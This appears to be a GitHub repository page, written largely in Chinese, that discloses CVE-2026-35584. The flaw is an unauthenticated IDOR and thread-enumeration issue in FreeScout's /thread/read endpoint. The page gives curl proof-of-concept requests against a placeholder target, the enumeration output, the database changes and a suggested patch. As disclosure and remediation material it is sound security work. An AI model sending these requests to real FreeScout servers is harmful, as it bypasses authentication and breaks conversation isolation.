LeonardoNovais7/CVE-2026-35584
GitHub: LeonardoNovais7/CVE-2026-35584
该项目提供了一个 CVE-2026-35584 的 POC,用于验证 FreeScout 中无需身份验证的 IDOR 与线程枚举漏洞。
Stars: 0 | Forks: 0
# CVE-2026-35584
POC - CVE-2026-35584
FreeScout
# 描述
## 概要
端点 GET /thread/read/{conversation_id}/{thread_id} 不需要身份验证,也不会验证给定的 thread_id 是否属于给定的 conversation_id。这允许任何未经身份验证的攻击者:
通过传递任意 ID 将任意线程标记为已读
通过 HTTP 响应码(200 与 404)枚举有效的线程 ID
跨会话操纵 opened_at 时间戳(IDOR)
```
Affected Version
1.8.211 (latest)
```
## 复现步骤
创建两个会话(conv_id=1 和 conv_id=2)
在会话 2 中创建一个线程(thread_id=3)
无需任何身份验证,发送:GET /thread/read/1/3
在数据库中验证 — thread_id=3 的 opened_at 现在已被设置,尽管是通过错误的 conversation_id 访问的
## 漏洞利用(PoC)
```
curl -v "http://TARGET/thread/read/1/3"
```
返回 HTTP 200 并在 thread 3 上设置 opened_at
## 影响
无需身份验证
IDOR:thread_id 未针对 conversation_id 进行验证
线程枚举:HTTP 200 = 有效线程,404 = 无效
用于支持代理的已读/未读指标被操纵
破坏会话隔离模型
## 建议修复
```
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
```
## 漏洞利用输出
线程枚举(无需身份验证)
```
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (valid thread)
```
```
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (valid thread)
```
```
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread belongs to conversation 2)
```
```
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (invalid thread)
```
## 漏洞利用后的数据库状态
之前:
| id | conversation_id | opened_at |
| 3 | 2 | NULL |
执行 GET /thread/read/1/3(无需身份验证)后:
| id | conversation_id | opened_at |
| 3 | 2 | 2026-04-03 23:19:46 |
标签:API安全, CVE-2026-35584, FreeScout, GET接口, IDOR, JSON输出, PoC, 会话隔离, 安全, 数据库状态, 时间戳操纵, 暴力破解, 未授权访问, 枚举攻击, 漏洞, 线程管理, 认证绕过, 超时处理